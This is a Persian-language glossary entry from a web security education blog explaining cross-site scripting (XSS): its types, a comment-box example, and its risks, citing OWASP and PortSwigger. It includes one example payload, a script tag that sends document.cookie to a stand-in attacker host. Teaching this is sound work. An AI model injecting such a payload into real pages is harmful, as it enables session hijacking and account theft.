KavLabs
خانهبلاگ
KavLabs

یادداشت‌هایی از ذهن‌های کاوشگر، برای ذهن‌های کنجکاو

پرهام·پرهام·زال·زال·
· · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · · ·
نوشته‌هادسته‌بندی‌هاجستجوی پیشرفتهلاگ تغییرات

©۲٬۰۲۶ KavLabs — تمام حقوق محفوظ است

ساخته‌شده با عشق توسط پرهام و زال

واژه‌نامه
۰۴ اسفند ۱۴۰۴OWASP Top 10متوسطزبان: فارسی

اسکریپت‌نویسی بین‌سایتی(XSS)

متوسطنسخه انگلیسی

آسیب‌پذیری امنیتی که به مهاجمان اجازه می‌دهد اسکریپت‌های مخرب را در صفحات وبی که توسط کاربران دیگر مشاهده می‌شود، تزریق کنند.

امنیت-وبتزریقسمت-کلاینتجاوااسکریپت

اسکریپت‌نویسی بین‌سایتی چیه؟

خلاصه در یه جمله: وقتی هکر بتونه کد JavaScript مخرب تو سایت تو بذاره و وقتی کاربرای دیگه سایت رو باز می‌کنن، اون کد اجرا بشه!

فرض کن یه تابلو اعلانات داری تو محله. هر کسی می‌تونه یادداشت بذاره. هکر میاد یه یادداشت می‌ذاره که وقتی کسی می‌خونهش، ناخودآگاه کیفش رو می‌ده به هکر! XSS همینه — هکر کد JavaScript می‌ذاره تو سایت تو، کاربرای دیگه که میان سایت رو می‌بینن، کد اجرا می‌شه و داده‌هاشون دزدیده می‌شه.

انواع XSS:

Reflected XSS: کد مخرب تو URL هست. کاربر روی لینک کلیک می‌کنه، کد اجرا می‌شه. معمولاً با فیشینگ همراهه.

Stored XSS: کد مخرب تو دیتابیس ذخیره می‌شه. هر کسی صفحه رو باز کنه، کد اجرا می‌شه. خطرناک‌تره!

DOM XSS: کد مخرب تو مرورگر کاربر اجرا می‌شه، بدون اینکه به سرور برسه.

مثال XSS:

فرض کن یه سایت داری که کامنت می‌گیره و نمایش می‌ده:

html
1<div>نظر کاربر: [کامنت کاربر]</div>

هکر کامنت می‌ذاره:

html
1<script>document.location='https://hacker.com/steal?cookie='+document.cookie</script>

وقتی کاربر دیگه صفحه رو باز می‌کنه، این کد اجرا می‌شه و کوکی کاربر فرستاده می‌شه به هکر! هکر با کوکی می‌تونه وارد اکانت کاربر بشه.

چرا برای امنیت مهمه؟

چون XSS می‌تونه منجر به دزدی Session، دزدی اطلاعات شخصی، Redirect به سایت فیشینگ، یا حتی انجام اقدامات به نام کاربر بشه.


منابع و مراجع

  • owasp.org/www-community/attacks/xss
  • portswigger.net/web-security/cross-site-scripting

مفاهیم مرتبط

تزریق اس‌کیو‌ال(SQLi)

آسیب‌پذیری که به مهاجمان اجازه می‌دهد دستورات SQL مخرب را به دیتابیس ارسال کنند و داده‌ها را دستکاری یا سرقت کنند.

جعل درخواست بین‌سایتی(CSRF)

حمله‌ای که مهاجم کاربر فریب‌خورده را وادار می‌کند درخواست‌های ناخواسته‌ای را به یک وب‌سایت ارسال کند.